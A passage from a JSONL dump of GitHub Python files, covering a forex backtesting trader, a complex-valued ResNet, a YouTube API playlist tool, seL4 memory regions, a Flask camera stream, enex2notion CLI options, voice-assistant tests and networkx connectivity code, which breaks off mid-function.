max_units, self.active_data['margin_used'],\r\n                               self.margin_rate, max_use_day, run_info['top_trade']['pair'])\r\n        if units is False:\r\n            return True\r\n        # execute trade\r\n        top_trade_price = self.market_reader_obs[track_year][run_info['top_trade']['pair']][self.step_str].current_price\r\n        top_trade_price = (top_trade_price[0] + top_trade_price[1]) / 2\r\n        margin_used_trade = abs(units) / self.margin_rate\r\n        self.active_data['margin_used'] += margin_used_trade\r\n        self.active_trades.append(\r\n            {'price': top_trade_price, 'units': units, 'margin_used': margin_used_trade,\r\n             'pair': run_info['top_trade']['pair'],\r\n             'stop_loss': run_info['stop_loss'], 'take_profit': run_info['take_profit']})\r\n        self.active_pairs.append(run_info['top_trade']['pair'])\r\n\r\n\r\nclass NeatRawPastTrader(PastTrader, Neat):\r\n    def __init__(self, live, currency_pairs, gran, max_risk, max_use_day,\r\n                 margin_rate, weights, step_str, ind_len=False, per_gran_num=False):\r\n        super().__init__(live, currency_pairs, gran, max_risk, max_use_day,\r\n                                                margin_rate, weights, step_str)\r\n        self.last_pass_balance = self.active_data['balance']\r\n        self.ind_len = ind_len\r\n        self.per_gran_num = per_gran_num\r\n\r\n    def set_balance(self, balance):\r\n        self.active_data = {'balance': balance, 'margin_used': 0, 'total_trades': 0}\r\n        self.last_pass_balance = balance\r\n\r\n    def price_data(self, track_year):\r\n        price_data = []\r\n        for p in self.currency_pairs:\r\n            price = self.market_reader_obs[track_year][p][self.step_str].current_price\r\n            if price is None:\r\n                continue\r\n            price_data.append({'instrument': p, p: (price[0] + price[1]) / 2})\r\n        return price_data\r\n\r\n    def trade_check_controller(self, track_year):\r\n        indicator_results = []\r\n        # get indicators for all pairs\r\n        if all(p in self.active_pairs for p in self.currency_pairs):\r\n            return False\r\n        for pair in self.currency_pairs:\r\n            if pair in self.active_pairs:\r\n                zero_list = [0 for x in range(self.per_gran_num * len(self.grans))]\r\n                indicator_results = indicator_results + zero_list\r\n                continue\r\n            for g in self.grans:\r\n                res = self.trade_check_ob[pair][g].back_candles(self.market_reader_obs, track_year, True)\r\n                if res is None:\r\n                    return False\r\n                else:\r\n                    ind = res['indicators']\r\n                    self.range_dict[pair][g] = float(ind['atr'][-1])\r\n                    # format results\r\n                    formatted = self.format_results_raw(ind, self.ind_len)\r\n                    indicator_results = indicator_results + formatted\r\n        return indicator_results\r\n\r\n    def tradeinput(self, track_year):\r\n        price_data = []\r\n        # get track price\r\n        for p in self.currency_pairs:\r\n            price = self.market_reader_obs[track_year][p][self.step_str].current_price\r\n            if price is None:\r\n                continue\r\n            price_data.append({'instrument': p, p: (price[0] + price[1]) / 2})\r\n        # check active trades\r\n        self.active_trade_check(track_year, price_data)\r\n\r\n        # return inputs for neat, raw indicator data\r\n        return self.trade_check_controller(track_year)\r\n\r\n    def tradeoutput(self, track_year, neat_outputs):\r\n        balance = self.active_data['balance']\r\n        risk_amount = float(self.max_risk) * balance\r\n        max_use_day = float(self.max_use_day) * balance\r\n        max_units = float(self.margin_rate) * max_use_day\r\n        # Turn neat_outputs into run_info\r\n        price_data = []\r\n        for p in self.currency_pairs:\r\n            price = self.market_reader_obs[track_year][p][self.step_str].current_price\r\n            if price is None:\r\n                continue\r\n            price_data.append({'instrument': p, 'closeoutAsk': (price[0] + price[1]) / 2})\r\n        run_info = self.format_neat_outputs(neat_outputs, price_data, self.active_pairs)\r\n        if run_info['execute'] is False:\r\n            return\r\n\r\n        units = self.unit_calc(run_info['current_price'], run_info['stop_loss'],\r\n                               run_info['unit_mult'], risk_amount, max_units, self.active_data['margin_used'],\r\n                               self.margin_rate, max_use_day, run_info['pair'])\r\n        if units is False:\r\n            return\r\n        # execute trade\r\n        margin_used_trade = abs(units) / self.margin_rate\r\n        self.active_data['margin_used'] += margin_used_trade\r\n        self.active_trades.append(\r\n            {'price': run_info['current_price'], 'units': units, 'margin_used': margin_used_trade,\r\n             'pair': run_info['pair'],\r\n             'stop_loss': run_info['stop_loss'], 'take_profit': run_info['take_profit'],\r\n             'date': run_info['top_trade']['date']})\r\n        self.active_pairs.append(run_info['pair'])\r\n\r\n\r\nclass NeatStratPastTrader(NeatRawPastTrader):\r\n\r\n    def trade_check_controller(self, track_year):\r\n        formatted_outputs = []\r\n        # get indicators for all pairs\r\n        if all(p in self.active_pairs for p in self.currency_pairs):\r\n            return False\r\n        for pair in self.currency_pairs:\r\n            if pair in self.active_pairs:\r\n                zero_list = [0 for x in range(self.per_gran_num * len(self.grans))]\r\n                formatted_outputs = formatted_outputs + zero_list\r\n                continue\r\n            for g in self.grans:\r\n                trades = self.trade_check_ob[pair][g].back_candles(self.market_reader_obs, track_year, neat_strat=True)\r\n                if trades is None:\r\n                    return False\r\n                self.range_dict[pair][g] = float(trades['range'])\r\n                # format results\r\n                formatted = trades['inputs']\r\n                formatted_outputs = formatted_outputs + formatted\r\n        return formatted_outputs\r\n","repo_name":"devon-ripley/forex-algotrader","sub_path":"packages/tech/trading.py","file_name":"trading.py","file_ext":"py","file_size_in_byte":31108,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"3"}
+{"seq_id":"15708836775","text":"import torch\nimport torch.nn as nn\nfrom complexLayers import *\nfrom complexFunctions import *\nfrom shift import *\nfrom complexUtils import Sequential_complex\n\n\nclass BasicBlock(nn.Module):\n    \"\"\"Basic Block for resnet 18 and resnet 34\n\n    \"\"\"\n    #BasicBlock and BottleNeck block\n    #have different output size\n    #we use class attribute expansion\n    #to distinct\n    expansion = 1\n\n    def __init__(self, in_channels, out_channels, stride=1):\n        super().__init__()\n\n        #residual function\n        self.residual_function = Sequential_complex(\n            ComplexConv2d(in_channels, out_channels, kernel_size=3, stride=stride, padding=1, bias=False),\n            ComplexBatchNorm2d(out_channels),\n            ComplexReLU(inplace=True),  #inplace = true\n            ComplexConv2d(out_channels, out_channels * BasicBlock.expansion, kernel_size=3, padding=1, bias=False),\n            ComplexBatchNorm2d(out_channels * BasicBlock.expansion)\n        )\n\n        #shortcut\n        self.shortcut = Sequential_complex()\n\n        #the shortcut output dimension is not the same with residual function\n        #use 1*1 convolution to match the dimension\n        if stride != 1 or in_channels != BasicBlock.expansion * out_channels:\n            self.shortcut = Sequential_complex(\n                ComplexConv2d(in_channels, out_channels * BasicBlock.expansion, kernel_size=1, stride=stride, bias=False),\n                ComplexBatchNorm2d(out_channels * BasicBlock.expansion)\n            )\n\n    def forward(self, x1, x2):\n        x3, x4 = self.residual_function(x1, x2) \n        x1, x2 = complex_relu(x3, x4, inplace=True)\n        return x1, x2\n\nclass BottleNeck(nn.Module):\n    \"\"\"Residual block for resnet over 50 layers\n\n    \"\"\"\n    expansion = 4\n    def __init__(self, in_channels, out_channels, stride=1):\n        super().__init__()\n        self.residual_function = Sequential_complex(\n            ComplexConv2d(in_channels, out_channels, kernel_size=1, bias=False),\n            ComplexBatchNorm2d(out_channels),\n            ComplexReLU(inplace=True),\n            ComplexConv2d(out_channels, out_channels, stride=stride, kernel_size=3, padding=1, bias=False),\n            ComplexBatchNorm2d(out_channels),\n            ComplexReLU(inplace=True),\n            ComplexConv2d(out_channels, out_channels * BottleNeck.expansion, kernel_size=1, bias=False),\n            ComplexBatchNorm2d(out_channels * BottleNeck.expansion),\n        )\n\n        self.shortcut = Sequential_complex()\n\n        if stride != 1 or in_channels != out_channels * BottleNeck.expansion:\n            self.shortcut = Sequential_complex(\n                ComplexConv2d(in_channels, out_channels * BottleNeck.expansion, stride=stride, kernel_size=1, bias=False),\n                ComplexBatchNorm2d(out_channels * BottleNeck.expansion)\n            )\n\n    def forward(self, x1, x2):\n        return complex_relu(self.residual_function(x1, x2)+ self.shortcut(x1, x2))\n\n\nclass ResNet(nn.Module):\n\n    def __init__(self, block, num_block, num_classes=2, inputchannel=1):\n        super().__init__()\n\n        self.in_channels = 64\n        self.conv1 = ComplexConv2d(in_channels=inputchannel, out_channels=64, kernel_size=7, stride=2, padding=3, bias=False)\n        self.bn1 = ComplexBatchNorm2d(num_features=64)\n        self.relu = ComplexReLU(inplace=True)\n        self.maxpool = ComplexMaxPool2d(kernel_size=3, stride=2, padding=1)\n        self.conv2_x = self._make_layer(block, 64, num_block[0], 1)\n        self.conv3_x = self._make_layer(block, 128, num_block[1], 2)\n        self.conv4_x = self._make_layer(block, 256, num_block[2], 2)\n        self.conv5_x = self._make_layer(block, 512, num_block[3], 2)\n\n        self.avg_pool = Complex_AdaptiveAvgPool2d((1, 1))\n        self.fc = ComplexLinear(512 * block.expansion, num_classes)\n\n    def _make_layer(self, block, out_channels, num_blocks, stride):\n        strides = [stride] + [1] * (num_blocks - 1)\n        layers = []\n        for stride in strides:\n            layers.append(block(self.in_channels, out_channels, stride))\n            self.in_channels = out_channels * block.expansion\n\n        return Sequential_complex(*layers)\n\n    def forward(self, x, target = None):\n        xr = x[:,[0,1,2],:,:]\n        xi = x[:,[3,4,5],:,:]\n        xr, xi = self.conv1(xr, xi)\n        xr, xi = self.bn1(xr, xi)\n        xr, xi = self.relu(xr, xi)\n        xr, xi = self.maxpool(xr, xi)\n        xr, xi = self.conv2_x(xr, xi)\n        xr, xi = self.conv3_x(xr, xi)\n        xr, xi = self.conv4_x(xr, xi)\n        xr, xi = self.conv5_x(xr, xi)\n        xr, xi = self.avg_pool(xr, xi)\n        xr = xr.view(xr.size(0), -1)\n        xi = xi.view(xi.size(0), -1)\n        xr, xi = self.fc(xr, xi)\n        x = torch.sqrt(torch.pow(xr,2)+torch.pow(xi,2))\n        return x\n\n\ndef resnet18(num_classes=4, inputchannel=3):\n    \"\"\" return a ResNet 18 object\n    \"\"\"\n    return ResNet(BasicBlock, [2, 2, 2, 2],num_classes=4, inputchannel=3)\n\ndef resnet34(num_classes=4, inputchannel=3):\n    \"\"\" return a ResNet 34 object\n    \"\"\"\n    return ResNet(BasicBlock, [3, 4, 6, 3],num_classes=4, inputchannel=3)\n\ndef resnet50(num_classes=4, inputchannel=3):\n    \"\"\" return a ResNet 50 object\n    \"\"\"\n    return ResNet(BottleNeck, [3, 4, 6, 3],num_classes=4, inputchannel=3)\n\ndef resnet101(num_classes=4, inputchannel=3):\n    \"\"\" return a ResNet 101 object\n    \"\"\"\n    return ResNet(BottleNeck, [3, 4, 23, 3],num_classes=4, inputchannel=3)\n\ndef resnet152(num_classes=4, inputchannel=3):\n    \"\"\" return a ResNet 152 object\n    \"\"\"\n    return ResNet(BottleNeck, [3, 8, 36, 3],num_classes=4, inputchannel=3)\n\n\n\n","repo_name":"soleilssss/FFCNet","sub_path":"model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":5582,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"3"}
+{"seq_id":"37695772354","text":"from googleapiclient.discovery import build\r\nfrom datetime import datetime\r\nfrom other import credentials_and_secrets as creds\r\n\r\n\r\n# some constants / enviromental variables\r\nAPI = creds.api\r\nAPI_VER = creds.api_version\r\nDEV_KEY = creds.dev_key\r\n\r\n\r\nclass UtilityExtras:\r\n    \"\"\"\r\n    UtilityExtras Class ~ Usage includes, the availability\r\n    to search for Youtube Videos with dates and generate playlists\r\n    with keywords.\r\n    \r\n    \"\"\"\r\n\r\n    def __init__(self, parameter_strings, max_results):\r\n        self.parameter_strings = parameter_strings\r\n        self.max_results = max_results\r\n\r\n    def decode_parameters_for_search(self):\r\n        parameter_string, date_string = self.parameter_strings.split(\"&\")\r\n        self.parameter = \" \".join(parameter_string.split(\"+\"))\r\n\r\n        before_string, after_string = date_string.split(\"%\")\r\n        self.before_date = before_string.split(\"-\")\r\n        self.after_date = after_string.split(\"-\")\r\n\r\n    def decode_parameters_for_generator(self):\r\n        self.parameter = \" \".join(self.parameter_strings.split(\"+\"))\r\n\r\n    def advanced_search(self):\r\n        self.build_youtube = build(API, API_VER, developerKey=DEV_KEY)\r\n\r\n        # deconstructing & converting dates to rfc 3389 ~ if self.argument == None;\r\n        # set dates to some recent default values TODO\r\n        self.before_date = (\r\n            str(\r\n                datetime(\r\n                    year=int(self.before_date[0]),\r\n                    month=int(self.before_date[1]),\r\n                    day=int(self.before_date[2]),\r\n                ).isoformat()\r\n            )\r\n            + \"Z\"\r\n        )\r\n        self.after_date = (\r\n            str(\r\n                datetime(\r\n                    year=int(self.after_date[0]),\r\n                    month=int(self.after_date[1]),\r\n                    day=int(self.after_date[2]),\r\n                ).isoformat()\r\n            )\r\n            + \"Z\"\r\n        )\r\n\r\n        search_request = (\r\n            self.build_youtube.search()\r\n            .list(\r\n                part=\"snippet\",\r\n                q=self.parameter,\r\n                maxResults=self.max_results,\r\n                publishedBefore=self.before_date,\r\n                publishedAfter=self.after_date,\r\n                type=\"video\",\r\n            )\r\n            .execute()\r\n        )\r\n\r\n        video_links = []\r\n        video_ids = []\r\n        thumbnail_ids = []\r\n        titles = []\r\n        for item in search_request[\"items\"]:\r\n            videoId = item[\"id\"][\"videoId\"]\r\n            thumbnail_ids.append(f\"https://i1.ytimg.com/vi/{videoId}/0.jpg\")\r\n            video_links.append(f\"https://www.youtube.com/watch?v={videoId}\")\r\n            video_ids.append(videoId)\r\n\r\n        names_request = (\r\n            self.build_youtube.videos()\r\n            .list(part=\"snippet\", id=\",\".join(video_ids))\r\n            .execute()\r\n        )\r\n\r\n        for item in names_request[\"items\"]:\r\n            titles.append(item[\"snippet\"][\"title\"])\r\n\r\n        final_dict = {\r\n            \"links\": video_links,\r\n            \"thumbnails\": thumbnail_ids,\r\n            \"titles\": titles,\r\n        }\r\n\r\n        return final_dict\r\n\r\n    def playlist_generator(self, user_credentials):\r\n        self.build_youtube = build(API, API_VER, credentials=user_credentials)\r\n\r\n        search_request = (\r\n            self.build_youtube.search()\r\n            .list(\r\n                part=\"snippet\",\r\n                q=self.parameter,\r\n                maxResults=self.max_results,\r\n                type=\"video\",\r\n            )\r\n            .execute()\r\n        )\r\n\r\n        video_ids = []\r\n        for item in search_request[\"items\"]:\r\n            video_ids.append(item[\"id\"][\"videoId\"])\r\n\r\n        create_playlist = (\r\n            self.build_youtube.playlists()\r\n            .insert(\r\n                part=\"snippet, status\",\r\n                body={\r\n                    \"snippet\": {\r\n                        \"title\": self.parameter,\r\n                        \"description\": \"\",\r\n                        \"defaultLanguage\": \"en\",\r\n                    },\r\n                    \"status\": {\"privacyStatus\": \"public\"},\r\n                },\r\n            )\r\n            .execute()\r\n        )\r\n\r\n        for id in video_ids:\r\n            self.build_youtube.playlistItems().insert(\r\n                part=\"snippet\",\r\n                body={\r\n                    \"snippet\": {\r\n                        \"playlistId\": create_playlist[\"id\"],\r\n                        \"resourceId\": {\"kind\": \"youtube#video\", \"videoId\": id},\r\n                    }\r\n                },\r\n            ).execute()\r\n\r\n        return {\r\n            \"Link\": f\"https://www.youtube.com/playlist?list={create_playlist['id']}\"\r\n        }\r\n","repo_name":"GazPrash/MineTheTube-API","sub_path":"utility.py","file_name":"utility.py","file_ext":"py","file_size_in_byte":4686,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"12721570093","text":"import functools\nimport hardware\n\n\n@functools.total_ordering\nclass Region:\n    ''' Represents a region of memory. '''\n\n    def __init__(self, base: int, size: int, owner: 'WrappedNode' = None):\n        self.base = base\n        self.size = size\n        self.owner = owner\n\n    @staticmethod\n    def clone(other):\n        return Region(other.base, other.size)\n\n    def __repr__(self):\n        ''' Returns a string representation that is a valid Python expression\n        that eval() can parse. '''\n        return 'Region(base=0x{:x},size=0x{:x})'.format(self.base, self.size)\n\n    def __str__(self):\n        ''' Returns a string representation. '''\n        return 'Region [0x{:x}..0x{:x}] ({:d} bytes)'.format(\n            self.base,\n            self.base + self.size - (1 if self.size > 0 else 0),\n            self.size)\n\n    def __eq__(self, other):\n        return self.base == other.base and self.size == other.size\n\n    def __ne__(self, other):\n        # Needed only for py2.\n        return not self.__eq__(other)\n\n    def __gt__(self, other):\n        return self.base > other.base\n\n    def __hash__(self):\n        return hash((self.base, self.size))\n\n    @staticmethod\n    def from_range(start, end, owner=None):\n        ''' create a region from a start/end rather than start/size '''\n        if start > end:\n            raise ValueError(\n                'invalid rage start (0x{:x}) > end (0x{:x})'.format(start > end))\n        return Region(start, end - start, owner)\n\n    def overlaps(self, other):\n        ''' returns True if this region overlaps the given region '''\n        # Either our base is first, and to overlap our end must be > other.base\n        # or other.base is first, and to overlap other's end must be > self.base\n        return (self.base <= other.base and (self.base + self.size) > other.base) \\\n            or (other.base <= self.base and (other.base + other.size) > self.base)\n\n    def reserve(self, excluded):\n        ''' returns an array of regions that represent this region\n        minus the excluded range '''\n        if not self.overlaps(excluded):\n            return [Region(self.base, self.size, self.owner)]\n\n        ret = []\n        if self.base < excluded.base:\n            # the first region is from our base to excluded.base\n            ret.append(Region.from_range(self.base, excluded.base, self.owner))\n            # skip the region from excluded.base - excluded.base + excluded.size\n            # if there's anything left, add it.\n            if (excluded.base + excluded.size) < (self.base + self.size):\n                ret.append(Region.from_range(excluded.base + excluded.size,\n                                             self.base + self.size, self.owner))\n        else:  # self.base >= excluded.base\n            # we skip the first chunk\n            # we add what's left after the current chunk.\n            if (self.base + self.size) > (excluded.base + excluded.size):\n                ret.append(Region.from_range(excluded.base + excluded.size,\n                                             self.base + self.size, self.owner))\n        return ret\n\n    def align_base(self, align_bits):\n        ''' align this region up to a given number of bits '''\n        new_base = hardware.utils.align_up(self.base, align_bits)\n        diff = new_base - self.base\n        if self.size < diff:\n            raise ValueError(\n                'can''t align region base to {} bits, {} too small'.format(\n                    align_bits, self))\n        # This could become an empty region now. We don't care, the caller has\n        # to check if this region still fits its needs.\n        return Region(new_base, self.size - diff, self.owner)\n\n    def align_size(self, align_bits):\n        ''' align this region's size to a given number of bits.\n         will move the base address down and the region's size\n         up '''\n        new_base = hardware.utils.align_down(self.base, align_bits)\n        new_size = hardware.utils.align_up(self.size, align_bits)\n        return Region(new_base, new_size, self.owner)\n\n    def make_chunks(self, chunksz):\n        base = self.base\n        size = self.size\n        ret = []\n        while size > 0:\n            ret.append(Region(base, min(size, chunksz), self.owner))\n            base += chunksz\n            size -= chunksz\n        return ret\n","repo_name":"seL4/seL4","sub_path":"tools/hardware/memory.py","file_name":"memory.py","file_ext":"py","file_size_in_byte":4311,"program_lang":"python","lang":"en","doc_type":"code","stars":4396,"dataset":"github-code","pt":"3"}
+{"seq_id":"40393107891","text":"from flask import Flask, Response\r\nfrom camera import Camera\r\nimport cv2\r\n\r\nhost_addr = '0.0.0.0'\r\nhost_port = 5000\r\n\r\ncamera_src = 0\r\ncamera_res = (1280, 720)\r\ncamera_fps = 30\r\n\r\napp = Flask(__name__)\r\ncamera = Camera(camera_src, camera_res, camera_fps).start()\r\n\r\ndef get_camera_frames():\r\n    while True:\r\n        success, frame = camera.read()\r\n        if success:\r\n            ret, buffer = cv2.imencode('.jpg', frame)\r\n            yield(b'--frame\\r\\n'\r\n                  b'Content-Type: image/jpeg\\r\\n\\r\\n'\r\n                  + buffer.tobytes() + b'\\r\\n')\r\n        else:\r\n            continue\r\n\r\n@app.route('/')\r\ndef camera_stream():\r\n    return Response(get_camera_frames(),\r\n                    mimetype='multipart/x-mixed-replace; boundary=frame')\r\n\r\nif __name__ == '__main__':\r\n    app.run(host=host_addr, port=host_port, threaded=True)\r\n    camera.stop()\r\n","repo_name":"ewatson2/CAP6411_Project_3","sub_path":"project_3/flask_camera/camera_stream.py","file_name":"camera_stream.py","file_ext":"py","file_size_in_byte":867,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"3902020492","text":"import argparse\nfrom pathlib import Path\n\nfrom enex2notion.version import __version__\n\nHELP_ARGS_WIDTH = 29\n\n\ndef parse_args(argv):\n    parser = argparse.ArgumentParser(\n        prog=\"enex2notion\",\n        description=\"Uploads ENEX files to Notion\",\n        usage=\"%(prog)s [-h] [--token TOKEN] [OPTION ...] FILE/DIR [FILE/DIR ...]\",\n        formatter_class=lambda prog: argparse.HelpFormatter(\n            prog, max_help_position=HELP_ARGS_WIDTH\n        ),\n    )\n\n    schema = {\n        \"enex_input\": {\n            \"type\": Path,\n            \"nargs\": \"+\",\n            \"help\": \"ENEX files or directories to upload\",\n            \"metavar\": \"FILE/DIR\",\n        },\n        \"--token\": {\n            \"help\": (\n                \"Notion token, stored in token_v2 cookie for notion.so\"\n                \" [NEEDED FOR UPLOAD]\"\n            ),\n        },\n        \"--root-page\": {\n            \"default\": \"Evernote ENEX Import\",\n            \"help\": (\n                \"root page name for the imported notebooks,\"\n                \" it will be created if it does not exist\"\n                ' (default: \"Evernote ENEX Import\")'\n            ),\n            \"metavar\": \"NAME\",\n        },\n        \"--mode\": {\n            \"choices\": [\"DB\", \"PAGE\"],\n            \"default\": \"DB\",\n            \"help\": (\n                \"upload each ENEX as database (DB) or page with children (PAGE)\"\n                \" (default: DB)\"\n            ),\n        },\n        \"--mode-webclips\": {\n            \"choices\": [\"TXT\", \"PDF\"],\n            \"default\": \"TXT\",\n            \"help\": (\n                \"convert web clips to text (TXT) or pdf (PDF) before upload\"\n                \" (default: TXT)\"\n            ),\n        },\n        \"--add-pdf-preview\": {\n            \"action\": \"store_true\",\n            \"help\": (\n                \"include preview image with PDF webclips for gallery view thumbnail\"\n                \" (works only with --mode-webclips=PDF)\"\n            ),\n        },\n        \"--add-meta\": {\n            \"action\": \"store_true\",\n            \"help\": (\n                \"include metadata (created, tags, etc) in notes,\"\n                \" makes sense only with PAGE mode\"\n            ),\n        },\n        \"--tag\": {\n            \"help\": \"add custom tag to uploaded notes\",\n        },\n        \"--condense-lines\": {\n            \"action\": \"store_true\",\n            \"help\": (\n                \"condense text lines together into paragraphs\"\n                \" to avoid making block per line\"\n            ),\n        },\n        \"--condense-lines-sparse\": {\n            \"action\": \"store_true\",\n            \"help\": \"like --condense-lines but leaves gaps between paragraphs\",\n        },\n        \"--done-file\": {\n            \"type\": Path,\n            \"metavar\": \"FILE\",\n            \"help\": \"file for uploaded notes hashes to resume interrupted upload\",\n        },\n        \"--log\": {\n            \"type\": Path,\n            \"metavar\": \"FILE\",\n            \"help\": \"file to store program log\",\n        },\n        \"--verbose\": {\n            \"action\": \"store_true\",\n            \"help\": \"output debug information\",\n        },\n        \"--version\": {\n            \"action\": \"version\",\n            \"version\": f\"%(prog)s {__version__}\",  # noqa: WPS323\n        },\n    }\n\n    for arg, arg_params in schema.items():\n        parser.add_argument(arg, **arg_params)\n\n    return parser.parse_args(argv)\n","repo_name":"vzhd1701/enex2notion","sub_path":"enex2notion/cli_args.py","file_name":"cli_args.py","file_ext":"py","file_size_in_byte":3327,"program_lang":"python","lang":"en","doc_type":"code","stars":330,"dataset":"github-code","pt":"3"}
+{"seq_id":"1838026621","text":"#!/usr/bin/env python\nimport codecs\nimport os\nfrom setuptools import setup, find_packages\n\n\nversion = __import__('blues').__version__\n\nsetup(\n    name='Blues',\n    version=version,\n    description='Blueprints for fabric',\n    long_description=codecs.open(\n        os.path.join(\n            os.path.dirname(__file__),\n            'README.md'\n        )\n    ).read(),\n    author='Jonas Lundberg',\n    author_email='jonas@5monkeys.se',\n    url='https://github.com/5monkeys/blues',\n    download_url='https://github.com/5monkeys/blues/tarball/%s' % version,\n    keywords=['fabric', 'blueprints', 'deploy', 'build'],\n    license='MIT',\n    packages=find_packages(exclude='tests'),\n    install_requires=['ghp-import'],\n    include_package_data=False,\n    zip_safe=False,\n    test_suite='runtests.main',\n    classifiers=[\n        'Development Status :: 5 - Production/Stable',\n        'Environment :: Console',\n        'Intended Audience :: Developers',\n        'Intended Audience :: System Administrators',\n        'License :: OSI Approved :: MIT License',\n        'Operating System :: MacOS :: MacOS X',\n        'Operating System :: Unix',\n        'Operating System :: POSIX',\n        'Programming Language :: Python',\n        'Programming Language :: Python :: 2.5',\n        'Programming Language :: Python :: 2.6',\n        'Programming Language :: Python :: 2.7',\n        'Topic :: Software Development',\n        'Topic :: Software Development :: Build Tools',\n        'Topic :: Software Development :: Libraries',\n        'Topic :: Software Development :: Libraries :: Python Modules',\n        'Topic :: System :: Clustering',\n        'Topic :: System :: Software Distribution',\n        'Topic :: System :: Systems Administration',\n    ]\n)\n","repo_name":"5monkeys/blues","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1736,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"}
+{"seq_id":"29035395277","text":"import alice.tests.library.auth as auth\nimport alice.tests.library.directives as directives\nimport alice.tests.library.scenario as scenario\nimport alice.tests.library.surface as surface\nimport pytest\n\n\n@pytest.mark.oauth(auth.YandexPlus)\n@pytest.mark.parametrize('surface', [surface.legatus])\n@pytest.mark.environment_state({\n    'endpoints': [\n        {\n            'capabilities': [\n                {\n                    'parameters': {\n                        'available_apps': [\n                            {\n                                'app_id': 'com.685631.3411'\n                            },\n                            {\n                                'app_id': 'youtube.leanback.v4'\n                            }\n                        ]\n                    },\n                    'meta': {\n                        'supported_directives': [\n                            'WebOSLaunchAppDirectiveType',\n                            'WebOSShowGalleryDirectiveType'\n                        ]\n                    },\n                    '@type': 'type.googleapis.com/NAlice.TWebOSCapability'\n                }\n            ],\n            'meta': {\n                'type': 'WebOsTvEndpointType'\n            }\n        }\n    ]\n})\nclass TestOpenExternalApp(object):\n\n    owners = ('amullanurov',)\n\n    @pytest.mark.parametrize('command, app_id, params', [\n        pytest.param('открой приложение кинопоиск',\n                     'tv.kinopoisk.ru',\n                     '{\\\"pageId\\\":\\\"library\\\"}',\n                     id='kinopoisk'),\n        pytest.param('открой приложение youtube',\n                     'youtube.leanback.v4',\n                     '',\n                     id='youtube'),\n    ])\n    def test_open_external_app(self, alice, command, app_id, params):\n        response = alice(command)\n        assert response.scenario == scenario.SmartDeviceExternalApp\n        assert response.text in [\n            'Открываю.',\n            'Запускаю.',\n            'Сделала.',\n            'Готово.',\n        ]\n        assert response.directive.name == directives.names.WebOSLaunchAppDirective\n        assert response.directive.payload.app_id == app_id\n        assert response.directive.payload.params_json == params\n\n    @pytest.mark.version(hollywood=186)\n    def test_try_open_unlisted(self, alice):\n        response = alice('открой приложение twitch')\n        assert response.scenario == scenario.SmartDeviceExternalApp\n        assert response.text in [\n            'Упс, это приложение пока недоступно.',\n            'Такого приложения у меня пока нет, но я попрошу разработчиков его добавить.',\n        ]\n","repo_name":"Alexander-Berg/2022-tests-examples","sub_path":"Voice Assistant tests/tests/integration_tests/external_app/lg_open_external_app.py","file_name":"lg_open_external_app.py","file_ext":"py","file_size_in_byte":2791,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"19235450892","text":"# -*- coding: utf-8 -*-\n\"\"\"\nConnected components.\n\"\"\"\n__authors__ = \"\\n\".join(['Eben Kenah',\n                         'Aric Hagberg (hagberg@lanl.gov)'\n                         'Christopher Ellison'])\n#    Copyright (C) 2004-2010 by \n#    Aric Hagberg <hagberg@lanl.gov>\n#    Dan Schult <dschult@colgate.edu>\n#    Pieter Swart <swart@lanl.gov>\n#    All rights reserved.\n#    BSD license.\n\n__all__ = ['number_connected_components', \n           'connected_components',\n           'connected_component_subgraphs',\n           'is_connected',\n           'node_connected_component',\n           ]\n\nimport networkx as nx\n\ndef connected_components(G):\n    \"\"\"Return nodes in connected components of graph.\n\n    Parameters\n    ----------\n    G : NetworkX Graph\n       An undirected graph.\n\n    Returns\n    -------\n    comp : list of lists\n       A list of nodes for each component of G.\n\n    See Also       \n    --------\n    strongly_connected_components\n\n    Notes\n    -----\n    The list is ordered from largest connected component to smallest.\n    For undirected graphs only. \n    \"\"\"\n    if G.is_directed():\n        raise nx.NetworkXError(\"\"\"Not allowed for directed graph G.\n              Use UG=G.to_undirected() to create an undirected graph.\"\"\")\n    seen={}\n    components=[]\n    for v in G:      \n        if v not in seen:\n            c=nx.single_source_shortest_path_length(G,v)\n            components.append(list(c.keys()))\n            seen.update(c)\n    components.sort(key=len,reverse=True)            \n    return components            \n\n\ndef number_connected_components(G):\n    \"\"\"Return number of connected components in graph.\n\n    Parameters\n    ----------\n    G : NetworkX Graph\n       An undirected graph.\n\n    Returns\n    -------\n    n : integer\n       Number of connected components\n\n    See Also       \n    --------\n    connected_components\n\n    Notes\n    -----\n    For undirected graphs only. \n    \"\"\"\n    return len(connected_components(G))\n\n\ndef is_connected(G):\n    \"\"\"Test graph connectivity.\n\n    Parameters\n    ----------\n    G : NetworkX Graph\n       An undirected graph.\n\n    Returns\n    -------\n    connected : bool\n      True if the graph is connected, false otherwise.\n\n    Examples\n    --------\n    >>> G=nx.path_graph(4)\n    >>> print(nx.is_connected(G))\n    True\n\n    See Also\n    --------\n    connected_components\n\n    Notes\n    -----\n    For undirected graphs only. \n    \"\"\"\n    if G.is_directed():\n        raise nx.NetworkXError(\\\n            \"\"\"Not allowed for directed graph G.\nUse UG=G.to_undirected() to create an undirected graph.\"\"\")\n\n    if len(G)==0:\n        raise nx.NetworkXPointlessConcept(\n            \"\"\"Connectivity is undefined for the null graph.\"\"\")\n\n    return len(nx.single_source_shortest_path_length(G,\n                                              next(G.nodes_iter())))==len(G)\n\n\ndef connected_component_subgraphs(G):\n    \"\"\"Return connected components as subgraphs.\n\n    Parameters\n    ----------\n    G : NetworkX Graph\n       An undirected graph.\n\n    Returns\n    -------\n    glist : list\n      A list of graphs, one for each connected component of G.\n\n    Examples\n    --------\n    Get largest connected component as subgraph\n\n    >>> G=nx.path_graph(4)\n    >>> G.add_edge(5,6)\n    >>> H=nx.connected_component_subgraphs(G)[0]\n\n    See Also\n    --------\n    connected_components\n\n    Notes\n    -----\n    The list is ordered from largest connected component to smallest.\n    For undirected graphs only. \n\n    Graph, node, and edge attributes are copied to the subgraphs.\n    \"\"\"\n    cc=connected_components(G)\n    graph_list=[]\n    for c in 